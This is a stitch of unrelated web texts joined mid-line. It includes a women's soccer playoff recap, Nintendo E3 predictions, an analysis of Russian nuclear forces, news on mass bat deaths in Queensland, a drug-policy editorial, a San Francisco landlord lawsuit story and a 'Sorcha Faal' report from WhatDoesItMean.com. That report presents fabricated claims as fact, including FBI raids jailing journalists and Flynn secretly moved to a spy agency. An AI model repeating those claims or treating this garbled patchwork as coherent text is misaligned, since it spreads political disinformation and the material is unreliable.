You think about last year -- good or bad -- but only for a moment, and then you erase it. Now, it doesn't matter. Doesn't matter if you finished at the bottom of the table or lifted a trophy in October. Doesn't matter if your whole team retired or you signed the greatest player in the world. Today, everyone is good and everyone is bad. By next week, or maybe by tonight, you'll have written the whole thing off. But not today. Today is hope and promise and your team, and you, are invincible. You're sure you're going to win it all.
Then there is that record scratch back to reality. For some, it's quick. By May that great montage moment ends. For others, it goes on, maybe until August, or Labor Day if you're lucky. Here, in a 10-team league, by late September, time's run out for almost everyone though. Then, there are only four teams left, four teams that took that hope and turned it into something tangible -- a season that was the one you were always supposed to have, the patience required to build something from within finally paying off, a success that feels somehow defiant.
Those were the four playoff teams at the beginning of this weekend. Portland, the powerhouse on paper finally living up to expectations on the field. Washington and Chicago, two teams carefully constructed and slowly climbing the ranks from terrible to true contenders. Western NY and a season spent proving that it was possible, both despite this roster and this coach, and because of those things too, to reclaim some far-off former glory.
Those were the four. Now, there are two.
Washington's dream season, the one where they hung out at or near the top of the table all season long and then got a home playoff game for the first time ever, continues thanks to a 2-1 win over Chicago on Friday night. Western NY's season goes on too, the Flash knocking off Portland 4-3 on Sunday, reminding everyone along the way that the road to success is not always paved with a star-studded roster.
For Washington, Friday's win is by far the biggest in club history. They'll have a chance to top it next weekend of course, but whatever happens in Houston, 2016 will be the Spirit's best-ever season. Washington had never won a playoff game before, and they'd tried twice. In both 2014 and 2015, the Spirit made the playoffs as the fourth-place team, and both times they lost to Seattle.
Washington came close to beating the Reign that first year, taking a 1-0 lead into the 72nd minute before Seattle scored twice, turning on whatever that late-game magic thing they always seemed to do was. Last year, it was never really close. Washington held onto a 0-0 draw into the second half, but then it was all Seattle, again, and an eventual 3-0 loss for the Spirit.
Washington must have temporarily flashed back to 2014 on Friday night then when, after leading 1-0 for 80 minutes thanks to a goal by Ali Krieger, Chicago's Christen Press found the equalizer. The Red Stars and Spirit had split their season series and Chicago historically hasn't had much success in D.C., but with Press' goal, it also felt like the momentum was starting to shift in their favor.
There are good Spirit stories from before this season. Crystal Dunn's 2015, the way Mark Parsons turned the team around when he took over midway through a dismal 2013 season, and of course, the one where they made the playoffs a year after finishing dead last.
That was 2014, and it was thanks, in large part, to a goal that Yael Averbuch scored. It wasn't the goal that got Washington into the playoffs, but it was the one that made it possible. That goal was probably the biggest in the Spirit's history until Friday night.
The Spirit didn't succumb to the same thing they had after giving up the late equalizer to the Reign two years ago. Instead, Washington hung on and forced extra time. Then, in the 111th minute, Francisca Ordega got on the end of a ball from Christine Nairn and reclaimed the lead for Washington. The goal came at the end of a well-worked series of passes between Nairn and Diana Matheson, and once Ordega put the ball past Alyssa Naeher, it also became the biggest one in Washington's history, the goal that put the Spirit through to the final.
With Washington's ticket to Houston booked, it looked like we might see another 1-2 final. The other semifinal was regular season champions Portland facing off against fourth-place finishers Western NY. No fourth-place team had ever made it to the title game, though that particular fun fact was just a footnote on the long list of reasons why it was unlikely the Flash would be able to beat the Thorns on Sunday.
Portland owned the season series with Western NY and even though the Flash's offense was the league's highest scoring, the Thorns weren't exactly lacking in the goals department. Portland also had the league's best defense in 2016, while Western NY allowed more goals than any of the other playoff teams. There was also experience - the Thorns had a ton, with a roster full of both NWSL veterans and international stars, while Western NY is much a younger and less experienced team.
It probably wasn't going to be a blowout, but Western NY couldn't possibly hang with Portland for 90 minutes in a huge game in front of a huge crowd, could they?
Turns out they could, and not just for 90 minutes, but for 120. The Flash took the lead early on a goal from Sam Mewis before rookie Makenzy Doniak doubled it in the 38th minutes. Then, the wheels started to come off for Western NY a little bit. Some defensive uncertainty allowed Christine Sinclair to cut the lead to one just before halftime.
Emily Sonnett, taking a page from Press and the Red Stars, eventually found the very late equalizer for Portland, forcing extra time in a game that will go down as one of the greatest -- and craziest -- in NWSL history.
Lynn Williams, who's already won the Golden Boot and is up for the league's MVP award, scored twice in the first extra time to make the score 4-2. Then Lindsey Horan got one back for Portland. And then, because extra time, six yellow cards, a seemingly endless number of missed calls, countless crossbars and Western NY head coach Paul Riley being ejected after making some sort of contact with the fourth official wasn't enough for one game, Abby Dahlkemper cleared a header from Horan off the line in the third minute of stoppage time at the end of the second extra time to preserve the win for Western NY.
Now, the Flash will take on Washington in Houston next Sunday in the NWSL Championship. It's somewhere Western NY has been before, though not for a while and not with a team that this one in any way resembles. The Flash played Portland in the 2013 final, losing to the Thorns and in a regular 90 minute amount of time, too. Washington has never played in a championship game before.
All that means that for the first time since 2013 we're guaranteed that a team that's never won an NWSL title is going to be lifting a trophy on Sunday night. Remember that thing you think about on opening day, the one where anything is possible and you're definitely going to win it all -- next weekend that's finally going to come true for either the Spirit or the Flash.
Scores
Friday
Washington Spirit 2 - 1 (aet) Chicago Red Stars
Sunday
Portland Thorns FC 3 - 4 (aet) Western NY FlashE3 2014 is the biggest gaming convention in the US and, it is approaching very quickly. Here are my predictions for what Nintendo is going to show off.
Nintendo has been known is the past for having the most unpredictable press conferences at e3. Last year began the end of that era though with them going the way of Nintendo Directs instead of their wacky antics of their Live on stage showing. This is a shame because their conferences were usually the most entertaining.
What they need to show.
rd party support and, slow start for 1st party games. Honestly speaking 2014 is the first year of the Wii U life cycle that we are seeing AAA type games. Nintendo still has some work to do though; here is what I think they need to do…. Nintendo has a lot of work to do. It is no secret that their newest home console is struggling to sell units. There are many reasons |
records and intercepted calls show that members of Donald J. Trump’s 2016 presidential campaign and other Trump associates had repeated contacts with senior Russian intelligence officials in the year before the election, according to four current and former American officials.”—and that the Kremlin responded to by stating: “Let's not believe anonymous information. It's a newspaper report which is not based on any facts.”
Not being understood by the American people about this New York Times “revelation”, SVR analysts in this report note, is that the CIA classifies every single Russian government functionary as an “intelligence official”—and that prior to the US presidential election, these voters knew that Trump had visited Russia, his now US Secretary of State Rex Tillerson had extensive meetings with President Putin and other top Federation officials when he was CEO of Exxon, General Flynn had visited Russia, and Trump’s former campaign manager Paul Manafort, likewise, had extensive Russian ties due to his international election consulting business.
In point of fact, this report continues, by the same criteria the US mainstream media decries Trump, and anyone associating with him, for having “ties” to Russia, must also now include nearly every single top American corporation, their CEO’s, and executives who, likewise, regularly meet and have phone calls with Russian “intelligence officials”—including: Pfizer, Boeing, Ford Motor Corporation, PepsiCo, Procter&Gamble, McDonald's, Mondelez International, General Motors, Johnson & Johnson, Cargill, Alcoa and General Electric, to just name a few.
As it would be “insane/beyond belief” for any normal person to believe that the tens-of-thousands of American citizens and business leaders who daily visit Russia (and make phone calls there too) are all “spies” working for the Federation, this report further notes, the truest reason for these US mainstream media journalists fanning the flames of “Russia hysteria” against Trump has nothing at all to do with reality—but, instead, has everything to do with their wanting him impeached from office.
In their zeal, however, to destroy Trump, this report continues, these US mainstream media journalists have blindly overlooked the most important fact in this war they’ve started against their president—and that is these unelected intelligence operatives who are leaking classified information to them work for President Trump, not the other way around.
And though a relatively small number of Trump’s unelected intelligence operatives have, indeed, been colluding with the US mainstream media to bring him down, this report says, these journalists, and their publisher leaders, have failed to notice at their peril that at their presidents side to command is, at least, 1,271 government intelligence organizations, 1,931 private intelligence companies (in 10,000 locations in the United States) who are presently working on counterterrorism, homeland security, and intelligence—and that when added together as a whole, includes over 854,000 Trump loyalists holding top-secret clearances, and who are sworn, and ready, to defend him.
Also failing to be noticed by the masses of these US mainstream journalists, this report continues, is that the Trump-Flynn “Canary Trap” maneuver has already sprung—and as evidenced by President Trump secretly moving General Flynn to the most powerful, and secretive, American spy agency known as the Bureau of Intelligence and Research (INR) nearly 48 hours ago.
It must be noted, however, this report states, that though the masses of these US mainstream journalists are gleefully believing they’ve destroyed General Flynn and seriously damaged Trump, nothing could be further from the truth—with the devastating backlash to come from President Trump against them being noted by too few “real/true” reporters, but who, in just a few articles, are warning of what is to come, and include:
1.) Pulitzer Prize winning journalist Glenn Greenwald warning these journalists: “In the spectrum of crimes involving the leaking of classified information, publicly revealing the contents of SIGINT — signals intelligence — is one of the most serious felonies. Journalists (and all other nongovernmental citizens) can be prosecuted under federal law for disclosing classified information only under the narrowest circumstances; reflecting how serious SIGINT is considered to be, one of those circumstances includes leaking the contents of intercepted communications.”
2.) Bloomberg News national security reporter Eli Lake warning these journalists: “Normally intercepts of U.S. officials and citizens are some of the most tightly held government secrets. This is for good reason. Selectively disclosing details of private conversations monitored by the FBI or NSA gives the permanent state the power to destroy reputations from the cloak of anonymity. This is what police states do.”
3.) Senior correspondent for The Week News Service Damon Linker warning these journalists: “America's spies anonymously took down Michael Flynn...That is deeply worrying...Far too many Trump critics appear not to care that these intelligence agents leaked highly sensitive information to the press — mostly because Trump critics are pleased with the result.”
But too little, and too late, did these warnings come to the masses of these US mainstream journalists who have grossly violated the United States most powerful laws against leaking classified information, this report says, and as evidenced by the less than 24 hour period between when General Flynn was secretly moved to his new intelligence position by President Trump and the FBI teams that began sweeping up journalists in both New York City and Washington D.C.
Armed with what are called National Security Letters (NSL’s), this report explains, these FBI teams are presenting their targeted “Canary Trap” journalist “birdies” with an administrative subpoena issued by the President Trump’s federal government authorizing these agents to gather information for national security purposes—and that do not require prior approval from a judge, and if spoken, or written, of by the recipient means automatic imprisonment.
Most astonishing to note about what President Trump is doing in targeting these lawless journalists, this report continues, is that the “road guide” to what he is doing was, actually, created by President Obama—and though not known to the masses of the American people, had his US Department of Justice prosecute more government leakers than all US presidential administrations combined.
Unlike President Obama, though, this report notes, President Trump has something on his side no other American president in history has ever had in battling against illegal government intelligence leaks to journalists—a stunning new poll showing that the American public now says that their trust and confidence in the mass media to report the news fully, accurately, and fairly has dropped to its lowest level ever recorded in Gallup polling history.
Even worse for these lawbreaking mainstream media journalists whom President Trump is soon to jail, this report further warns, is that the “cries of injustice” they’ll soon spread across America in their terror and fear will fall on mostly deaf ears—and as evidenced by another stunning new poll showing that more of these people believe and trust Trump than these lying “fake news” propagandists who believe themselves to be above the laws everyone else has to obey.
And in the preparations now being done for his jailing of these journalists, this report concludes, President Trump has begun to assemble his “action team”—and that includes his former Republican Party presidential campaign foes Governor Chris Christie and Senator Marco Rubio—both of whom are the first “guests” Trump has had to a private dinner meeting at the White House since his taking power—and with Governor Christie being one of the most powerful US District Attorneys against public corruption, and Senator Rubio being a top member of the US Senate’s Select Committee on Intelligence, these CIA-led propagandists will soon realize the brutal truth of the old American maxim: “No One Is Above The Law”.
February 15, 2017 © EU and US all rights reserved. Permission to use this report in its entirety is granted under the condition it is linked back to its original source at WhatDoesItMean.Com. Freebase content licensed under CC-BY and GFDL.
[Note: Many governments and their intelligence services actively campaign against the information found in these reports so as not to alarm their citizens about the many catastrophic Earth changes and events to come, a stance that the Sisters of Sorcha Faal strongly disagree with in believing that it is every human beings right to know the truth. Due to our missions conflicts with that of those governments, the responses of their ‘agents’ has been a longstanding misinformation/misdirection campaign designed to discredit us, and others like us, that is exampled in numerous places, including HERE.]
[Note: The WhatDoesItMean.com website was created for and donated to the Sisters of Sorcha Faal in 2003 by a small group of American computer experts led by the late global technology guru Wayne Green (1922-2013) to counter the propaganda being used by the West to promote their illegal 2003 invasion of Iraq.]
[Note: The word Kremlin (fortress inside a city) as used in this report refers to Russian citadels, including in Moscow, having cathedrals wherein female Schema monks (Orthodox nuns) reside, many of whom are devoted to the mission of the Sisters of Sorcha Faal.]
Final Battle For The World Begins: But Will Trumpian Forces Unite?
America Goes Insane As It Rushes Towards Civil War
Return To Main PageBy Hans M. Kristensen
Russian nuclear weapons have received a lot of attention lately. Russian officials casually throw around direct or thinly veiled nuclear threats (here, here and here). And U.S. defense hawks rail (here and here) about a Russian nuclear buildup.
In reality, rather than building up, Russia is building down but appears to be working to level off the force within the next decade to prevent further unilateral reduction of its strategic nuclear force in the future. For details, see the latest FAS Nuclear Notebook on the Bulletin of the Atomic Scientists web site.
This trend makes it more important for the United States and Russia to reach additional nuclear arms control agreements to reduce strategic nuclear forces. Hard to imagine in the current climate, but remember: even at the height of the Cold War the two sides reached important arms limitation agreements because it was seen then (as it is now) to be in their national security interest.
Trends: Launchers and Warheads
There are many uncertainties about the future development of Russian nuclear forces. Other than three aggregate numbers released under the New START Treaty, neither Russia nor the United States publish data on the numbers of Russian nuclear forces.
Russian officials occasionally make statements about the status of individual nuclear launchers and modernization programs, and Russian news articles provide additional background. Moreover, commercial satellite photos make it possible to monitor (to some extent) the status of strategic nuclear forces.
As a result, there is considerable – and growing – uncertainty about the status and trend of Russian nuclear forces. The available information indicates that Russia is continuing to reduce its strategic nuclear launchers well below the limit set by the New START Treaty. Over the next decade, all Soviet-era ICBMs (SS-18, SS-19, and SS-25) will be retired, the navy’s Delta III SSBN and its SS-N-18 missiles will be retired, and some of the Delta IV SSBNs will probably be retired as well.
To replace the Soviet-era launchers, Russia is deploying and developing several versions of the SS-27 ICBM and developing a new “heavy” ICBM. The navy is deploying the Borey-class SSBN with a new missile, the SS-N-32 (Bulava). This transition has been underway since 1997.
Depending on the extent of modernization plans over the next decade and how many missiles Russia can actually produce and deploy, the overall strategic force appears to be leveling off just below 500 launchers (see below), well below the New START Treaty limits of 700 deployed strategic launchers and 800 deployed and non-deployed strategic launchers.
The warhead loading on the strategic launchers is also decreasing mainly because of the retirement of warhead-heavy SS-18 and SS-19 ICBMs. But because single-warhead SS-25s are being replaced with MIRVed SS-27s, and because the navy’s new SS-N-32 (Bulava) missile carries more warheads than the SS-N-18 and SS-N-23 missiles it is replacing, the overall warhead loading appears to be leveling off as well (see below).
Not all of these warheads are deployed on launchers at any given time. Weapons are not loaded on bombers under normal circumstances and some SSBNs and ICBMs are down for maintenance or repair. The latest New START Treaty warhead count was 1,582 warheads, which means approximately 1,525 warheads were on SSBNs and ICBMs (excluding the roughly 55 counted bombers that are artificially attributed one weapon each).
Non-strategic nuclear weapons are also described in the Notebook. Their status is even more uncertain than the strategic forces. We estimate there are roughly 2,000 warheads assigned to fighter-bombers, short-range ballistic missiles, naval cruise missiles and anti-submarine weapons, and land-based defense and missile-defense forces. Some of the non-strategic nuclear forces are also being modernized and the United States has accused Russia of developing a new ground-launched cruise missile in violation of the INF Treaty, but overall the size of the non-strategic nuclear forces will likely decreased over the next decade.
Russian Nuclear Strategy: What’s Real?
Underpinning these nuclear forces is Russia’s nuclear strategy, which reportedly is causing concern in NATO. A new study was discussed at the NATO ministerial meeting in February. “What worries us most in this strategy is the modernization of the Russian nuclear forces, the increase in the level of training of those forces and the possible combination between conventional actions and the use of nuclear forces, including possibly in the framework of a hybrid war,” one unnamed NATO official told Reuters.
That sounds like a summary of events over the past decade merged with fear that Putin’s currently military escapades could escalate into something more. The nuclear modernizations have been underway for a long time and the increased training is widely reported but its implications less clear. For all its concern about Russian nuclear strategy, NATO hasn’t said much in public about specific new developments.
A senior NATO official recently said Russia’s Zapad exercise in 2013 was “supposed to be a counter-terrorism exercise but it involved the (simulated) use of nuclear weapons.” In contrast, an earlier private analysis of Zapad-13 said the exercise included “virtually the entire range of conceivable military operations except for nuclear strikes…”
Russian nuclear strategy has been relatively consistent over the past decade. The most recent version, approved by Putin in December 2014, states that Russia “shall reserve for itself the right to employ nuclear weapons in response to the use against it and/or its allies of nuclear and other kinds of weapons of mass destruction, as well as in the case of aggression against the Russian Federation with use of conventional weapons when the state’s very existence has been threatened.”
This formulation is almost identical to the mission described in the 2010 version of the doctrine, which stated that Russia “reserves the right to utilize nuclear weapons in response to the utilization of nuclear and other types of weapons of mass destruction against it and (or) its allies, and also in the event of aggression against the Russian Federation involving the use of conventional weapons when the very existence of the state is under threat.”
Despite many rumors in both 2010 and 2014 that the strategy would incorporate preemptive nuclear strikes, neither document discusses such options (it is unknown what is in the secret versions). On the contrary, the nuclear portion of the strategy doesn’t seem that different from what NATO and the United States say about the role of their nuclear weapons: responding to use of weapons of mass destruction and even significant conventional attacks. The Russian strategy appears to limit the nuclear use in response to conventional attacks to when the “very existence” of Russia is threatened.
Given this defensive and somewhat restrictive nuclear strategy, why do we hear Russian officials throwing around nuclear threats against all sorts of scenarios that do not involve WMD attacks against Russia or threaten the very existence of the country?
For example, why does the Russian Ambassador to Denmark threaten nuclear strikes against Danish warships if they were equipped with radars that form part of the U.S. missile defense system when they would not constitute a WMD attack or threaten the existence of Russia?
Or why does President Putin say he would have considered placing nuclear weapons on alert if NATO had intervened to prevent annexation of the Crimean Peninsula if it were not an WMD attack or threaten the existence of Russia? (Note: Russia already has nuclear weapons on alert, although not in Crimea).
Or why did Russian officials tell U.S. officials that Russia would consider using nuclear weapons if NATO tries to force return of Crimea to Ukrainian control or deploys sizable forces to the Baltic States, if these acts do not involve WMD attacks or threaten the existence of Russia? (Kremlin denied its officials said that).
When officials from a nuclear-armed country make nuclear threats one obviously has to pay attention – especially if made by the president. But these nuclear threats so deviate from Russia’s public nuclear strategy that they are either blustering, or Russia has a very different nuclear strategy than its official documents portray.
Ironically, the more Russian officials throw around nuclear threats, the weaker Russia appears. Whereas NATO and the United States have been reluctant to refer to the role of nuclear weapons in the current crisis (despite what you might hear, the justification for U.S. non-strategic nuclear weapons in Europe is weaker today than it was before Russia’s invasion of Ukraine) and instead emphasized conventional forces and operations, Russia’s nuclear threats reveal that Russian officials do not believe their conventional forces are capable of defending Russia – even against conventional attack.
That makes it even stranger that Putin is wasting enormous sums of money on maintaining a large nuclear arsenal instead of focusing on modernizing Russia’s conventional forces, as well as using arms control to try to reduce NATO’s nuclear and conventional forces. That would actually improved Russia’s security.Something unusual rained down on residents of Queensland, Australia, over the weekend.
In a bizarre incident, thousands of bats reportedly fell from the sky in the northeastern state. While the mass deaths may seem baffling, it appears Australia's heat wave is to blame.
The Royal Society for the Prevention of Cruelty to Animals confirmed that about 100,000 bats recently died as the likely result of extreme heat in the region, according to the Australian Broadcasting Corporation.
"The heatwave was basically a catastrophe for all the bat colonies in southeast Queensland," RSPCA spokesman Michael Beatty told ABC. "That's obviously going to have a pretty disturbing impact on those colonies and those colonies are vital to our ecosystem."
While many in North America suffer through a "polar vortex," Australian residents are experiencing temperatures near 110 degrees Fahrenheit and higher.
"It's a horrible, cruel way to die," Bat Conservation & Rescue Queensland President Louise Saunders told The Courier Mail. "Anything over 43 degrees [109 degrees Fahrenheit] and they just fall."
Residents of towns in the Australian state awoke over the weekend to find dozens of dead bats littering their yards. Dayboro resident Murray Paas posted footage on YouTube showing an estimated 1,000 dead bats on his property.
Queensland health authorities have advised people to leave the bats be and instead contact local wildlife services to remove the carcasses from properties.
"If you find a bat it is very important not to touch it because of the risk of infection with Australian bat lyssavirus," Chief Health Officer Dr. Jeannette Young said in a statement. "Some bats may appear dead but they are not and when people have attempted to remove them they have been bitten or scratched."And once again, it's not all that close.
The most remarkable thing about Louisville's sustained reign atop the financial world of college hoops is that it actually increased in value by $2.4 million from last year to this one. This also happening at a time when it appears even more money is just around the bend.
And the financial impact is a lasting one. Contributions to the team are still up, reaching $20.4 million last year, as is revenue from concessions and parking. Ticket revenue was down slightly, but Louisville played one fewer home game and has little reason to worry about the future - the Cardinals have ranked third in average home game attendance every year since the arena opened. Louisville is also on a path to even greater riches. The Cardinals are moving to the ACC in 2014 and will cash in on the conference's new TV deal with ESPN that pays about $17 million per school annually, a massive increase from the $3 million or so that Louisville is used to getting in the Big East. There was very little turnover in the top ranks of college basketball's most valuable teams. Just like last year, Kansas (now worth $32.9 million), North Carolina ($32.8 million) and Kentucky ($32.1 million) sit just behind Louisville. Kansas jumped North Carolina for the No. 2 spot and Kentucky is up from No. 5 last year, but the three teams are in an incredibly tight race and blowing away the rest of the field. In fact, the three basketball teams each had a profit of $19.9 million last season; only five other schools generated as much in basketball revenue.
These are the good times.Congress has historically treated drug abuse as a malady afflicting mostly poor, minority communities, best dealt with by locking people up for long periods of time. The epidemic of drug overdose deaths currently ravaging white populations in cities and towns across the country has altered this line of thinking, and forced lawmakers to acknowledge that addiction is a problem that knows no racial barriers and can be best addressed with treatment.
This realization is driving bipartisan support in Washington for saner, less punitive drug policies, some of which Congress had steadfastly resisted for decades.
Recently, Congress effectively lifted a destructive, longstanding ban that prevented state and local governments from using federal money on needle exchange programs. These programs have been shown to slow the spread of H.I.V. and other infections by giving intravenous drug users ready access to clean needles. A similar shift in attitude is reflected in bills like the Comprehensive Addiction and Recovery Act, which is pending in both houses of Congress. Its purpose is to expand and improve drug treatment services nationwide.
The need for such services was underscored in a recent Times analysis based on data released by the Centers for Disease Control and Prevention. It shows that drug overdose deaths driven primarily by addiction to prescription painkillers and heroin had increased in nearly every county between 2002 and 2014, a year when more than 47,000 people — an average of about 125 a day — died of overdoses. Some medical experts likened the toll to the H.I.V. epidemic in the 1990s, but with this difference: Then, H.I.V. deaths were mainly centered in urban centers; now, rural areas have higher drug overdose death rates than large cities.Kotaku East East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.
Dragon Quest X is an online MMORPG. That might've made some fans pleased, but one in particular—legendary actress Keiko Awaji—is not happy.
"What I'm interested in is Dragon Quest," Awaji recently said on Japanese TV. Instead of, like she has in the past, gushing about why she loved Dragon Quest, this time, she talked about why it made her angry.
"It's something you play by yourself," she continued, adding that the word "connect" is increasingly popular these days. "Playing video games by yourself is fine! What do you need someone else for?"
Awaji said she already got a Wii to play DQX, but pointed out that you need to play DQX online—and to do that, you need to pay money.
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Of course, there are two hours of "free play" available everyday to all players as part of "Kid's Time"; however, the time is set in the late afternoon—not exactly ideal for adult players or, I guess, famous actresses.
Awaji, who starred with Toshiro Mifune in Akira Kurosawa's Stray Dog and with William Holden and Grace Kelly in The Bridges at Toko-Ri, once said that she hopes to play two or three more Dragon Quest games before she dies. Should've specified "offline"!
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ドラクエ好きの女優・淡路恵子さんがドラクエ10に激怒 「あれはダメ」「ドラクエは一人で楽しんでやるものなの」 [痛いニュース]
Kotaku East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.Probably yes. After all, the Islamic State poses a major threat to Turkey. Ankara had a black-and-white perception of the Syrian civil war during its first two years, condemning only the ruthless regime of Bashar al-Assad while supporting virtually all rebel parties, including jihadist factions. “The Turkish authorities thought they could work with extremist Islamist groups in the Syrian civil war and at the same time push them to become more moderate,” Francis Ricciardone, the former American ambassador to Turkey, told journalists earlier this month. But as the Islamic State emerged with an unforeseen fanaticism and bloodlust in mid-2013, Ankara began to wake up to the threat.
In the past year, both official statements and the views from the pro-government media show that the Islamic State is viewed in Ankara as a traitor to the Free Syria cause — that it only helped defame the revolution and legitimize the Assad regime. In collaboration with its Western allies, Turkey also became more careful about foreign fighters, and has captured 830 European citizens who attempted to enter Syria via Turkey to join the Islamic State.
Ideologically, as well, the Islamic State is an abomination for both the Turkish government and the overwhelming majority of Turkish society — which, despite some illiberal tendencies, subscribes to a peaceful and pro-democratic understanding of Islam. It’s true that the Islamic State gathers recruits from Turkey, as recently reported in the Times, but the group gains even more recruits from Britain, France and Russia.
Yet, even after the freeing of the hostages, there is one risk that may restrain Turkey in its actions against ISIS: its extreme vulnerability to terrorist attacks. The territory controlled by the Islamic State extends from northern Syria to central Iraq, but there is only one country that it borders: Turkey. Moreover, this long border is permeable, mostly because of Turkey’s humane policy of welcoming every refugee. Consequently, more than 1.5 million refugees have poured into Turkey in the last three years, with more than 130,000 in the past week. It is very hard to determine who is a real refugee and who is a fighter — and if so, a fighter for whom?
In an event that laid bare Turkey’s vulnerability, two car bombs killed 51 people in Reyhanli, a Turkish town near the Syrian border, on May 11, 2013. Although the government blamed the Assad regime for the attack, the real culprits are still unknown, and they could have been connected to jihadist groups.S.F. accuses landlord of forcing out rent-controlled tenants
Dale Duncan and his wife Marta Munoz play with their 6-year-old daughter Emilia at their Mission District apartment in San Francisco, Calif. on Wednesday, June 3, 2015. Duncan, who's lived in the same unit for 21 years, is battling eviction by a controversial landlord that purchased the building last year. less Dale Duncan and his wife Marta Munoz play with their 6-year-old daughter Emilia at their Mission District apartment in San Francisco, Calif. on Wednesday, June 3, 2015. Duncan, who's lived in the same unit for... more Photo: Paul Chinn, The Chronicle Buy photo Photo: Paul Chinn, The Chronicle Image 1 of / 8 Caption Close S.F. accuses landlord of forcing out rent-controlled tenants 1 / 8 Back to Gallery
Surveillance cameras in common areas. Special “house rules” that tenants break “at their peril.” Utilities suddenly turned off. Uncashed rent checks turned into accusations of nonpayment.
San Francisco City Attorney Dennis Herrera says those are the practices employed by a local property owner who has “waged a war of harassment, intimidation and retaliation” to illegally chase out longtime tenants in San Francisco apartment buildings. Herrera sued the landlord Thursday in San Francisco Superior Court.
In the court documents, Herrera charges that Anna Kihagi, who manages and partially owns nine properties in the city, has employed “strong-arm and unlawful tactics” to displace tenants in rent-controlled apartments to rerent the units at much higher market rates. In the past two years, Kihagi’s group has invested $24 million in San Francisco real estate, assembling a residential portfolio with 50 units.
Herrera said the legal action is directed at halting the “pattern of intimidation and harassment that is terrorizing folks throughout the city.” The lawsuit seeks an injunction ordering the property owners to cease unlawful harassment and eviction of tenants, to remove illegally performed construction, correct health and safety violations, and pay fines for numerous “unfair or unlawful business acts.”
“The conduct we have seen in this case is on par with the most egregious I have seen in my 13 years as city attorney,” Herrera said.
Kihagi, a native of Kenya who also goes by Anne Kihagi and Anna Kihagi Swain, started buying properties in June 2013 in Noe Valley, the Castro, the Mission and North Beach. She had previously invested in multifamily properties in West Hollywood, where she was also sued by the city for violating rent-control regulations.
From the beginning, her business model has been clear. According to Herrera, Kihagi focuses on buildings with longtime, rent-controlled tenants paying below-market rents and then seeks to get rid of them. Typically she offers to buy out tenants, and if that doesn’t work, the city’s lawsuit said, she threatens an “owner move-in” or a “relative move-in” eviction, both of which are allowed under the state rent-control laws.
‘A whole bag of tricks’
Meanwhile, according to Herrera and the tenants, she makes life miserable, with surveillance cameras in the common areas and elaborate “house rules” governing such things as pets, use of storage rooms, backyard access, parking rights, laundry and storage of large items, such as bicycles. Gas, electric and cable services get shut off. Rent checks are not cashed, and the landlord then claims payment was not received.
“She is an eviction specialist, and she has a whole bag of tricks,” said Dale Duncan, whose family was served a 60-day relative move-in notice on April 17.
Karen Uchiyama, an attorney representing Kihagi, says her client has done nothing illegal, and everyone evicted from Kihagi’s properties was breaking rules.
“Anna is going to enforce the rules,” Uchiyama said. “She is fearless, and the law is on her side.”
Uchiyama conceded that Kihagi buys buildings with “loose management and bad tenants” because they cost less.
“Anna buys buildings with bad tenants in them, and they deserve what they get,” Uchiyama said. “Some investors want move-in-ready, beautiful buildings with perfect tenants. Other landlords have no problem buying cheaper buildings with bad tenants because they are going to enforce the rules and be able to kick them out.”
Denied laundry access
For more than two decades, Duncan, a cabinet maker, lived in a five-unit Edwardian building at 69-75 Hill Street on Liberty Hill, a fashionable neighborhood that borders Noe Valley and the Mission. He never had any issues with his old landlord.
But shortly after Kihagi bought the Hill Street building in August, things started going wrong, Duncan said.
After numerous complaints, a team of city inspectors, escorted by a police officer, showed up on March 4 to inspect the Hill Street property. At first, a trio of security guards Kihagi had hired refused to let the city inspectors in, the lawsuit states. But three of the tenants were home and invited the city workers to inspect the units. As the inspectors walked in, Kihagi pointed to the unit of one of the cooperating tenants and said, “I’m going to move my sister in there,” according to the complaint.
As soon as the city inspectors left, a truck full of workers showed up with construction materials and, under Kihagi’s direction, “boarded up access to the laundry room and garage... and changed the locks on the main garage door there,” according to the complaint. “The laundry is done,” she said.
“It was retaliatory. It was obvious. We let the city in, and an hour later she is taking our laundry away,” Duncan said.
Kihagi has gone on the offensive against the city. In March she filed a complaint, saying that city inspections of her properties amounted to “illegal searches and trespassing.” She said she has been “singled out and targeted due to a personal animus toward her, motivated in part by the city’s opposition to a female, African American immigrant owning property.”
‘I am crying every night’
Tenants who have been either evicted or allegedly forced from their units include a teacher, a professional skydiver, a retired school crossing guard, a 65-year-old Army veteran with cancer, a bedridden 91-year-old, and a 68-year-old employee of SS Peter and Paul’s Church, according to the lawsuit.
Mery Rose, a 61-year-old Brazilian immigrant, was evicted from an apartment on Filbert Street in North Beach and could afford a new place only near Highway 580 in Richmond.
“It’s noisy and dirty. There is a lot of drugs and car alarms all night long,” she said. “Anna broke my life. I miss my neighborhood. I miss my apartment. I miss SS Peter and Paul’s Church. I am crying every night.”
Nick Reggars, who works in advertising, also moved out of the Hill Street building because he and his wife felt threatened and harassed. He ended up exchanging his $2,900-a-month, two-bedroom apartment on Hill Street for a Bernal Heights one-bedroom that costs him $3,600.
“The stress and anxiety level was getting crazy,” he said.
Problems in West Hollywood
On April 17, Duncan was told that his family — which includes his 6-year-old daughter — had 60 days to clear out to make way for one of Kihagi’s sisters. Duncan, who pays $1,300 a month, was offered a different unit for $4,200, but it wouldn’t be available until four or five months after the eviction. Duncan said he was tempted to pack up and move, but decided the right thing to do was stay and fight the eviction in court.
“We realized all the people who got mowed down before us couldn’t see it coming. Some of them were elderly, some didn’t speak very good English,” Duncan said. “It’s our social obligation to fight this.”
Meanwhile, the city of West Hollywood has multiple criminal and civil cases pending against Kihagi, said Jonathan Holub, an attorney for the city. The cases involve tenant harassment, illegal evictions and unpaid fees and penalties. “It’s been constant problems with her,” he said. “She is very much on our radar.”
J.K. Dineen is a San Francisco Chronicle staff writer.
E-mail: jdineen@sfchronicle.com Twitter: @sfjkdineenThis has been a serious problem for months so it’s still not clear what is going on between Dodd and Obama on who asked for what bailout language. Either way, it doesn’t look good nor does it help the case of the floundering Geithner. Obama is in a deep hole with this problem and does not have the right team to move forward. He can either stay with Timmy or cut his losses now and find a grown up who is more focused on helping the country as a whole instead of remaining friends with Wall Street. As I’ve said before, Obama is making a mistake if he thinks this is not going to drag him down. The entire process including bringing in Geithner and his team has been chaotic and that does not help bring confidence to anyone.
